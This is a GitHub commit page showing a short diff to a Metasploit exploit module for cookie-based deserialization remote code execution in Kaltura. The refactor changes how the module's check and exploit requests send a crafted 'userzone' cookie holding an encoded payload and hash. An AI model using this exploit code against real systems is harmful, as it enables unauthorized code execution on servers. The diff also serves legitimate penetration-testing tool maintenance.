Skip to content

Commit 7fd7337

Browse files
committed
Refactor send_request_cgi request
1 parent 0ac7e09 commit 7fd7337

File tree

1 file changed

+3
-7
lines changed

1 file changed

+3
-7
lines changed

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -79,17 +79,15 @@ def check
7979
'list_type' => '15',
8080
'entry_id' => entry_id
8181
},
82-
'headers' => {
83-
'Cookie' => "userzone=#{encoded}#{hash}"
84-
}
82+
'cookie' => "userzone=#{encoded}#{hash}"
8583
)
8684

8785
if res and res.redirect?
8886
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
8987
Exploit::CheckCode::Safe
9088
elsif res && res.body.include?(r)
9189
Exploit::CheckCode::Vulnerable
92-
elsif not self.check_entryid()
90+
elsif not check_entryid
9391
print_error("Invalid ENTRYID")
9492
Exploit::CheckCode::Safe
9593
else
@@ -135,9 +133,7 @@ def exploit
135133
'list_type' => '15',
136134
'entry_id' => entry_id
137135
},
138-
'headers' => {
139-
'Cookie' => "userzone=#{encoded}#{hash}"
140-
}
136+
'cookie' => "userzone=#{encoded}#{hash}"
141137
)
142138

143139
if res and res.redirect?

0 commit comments

Comments
 (0)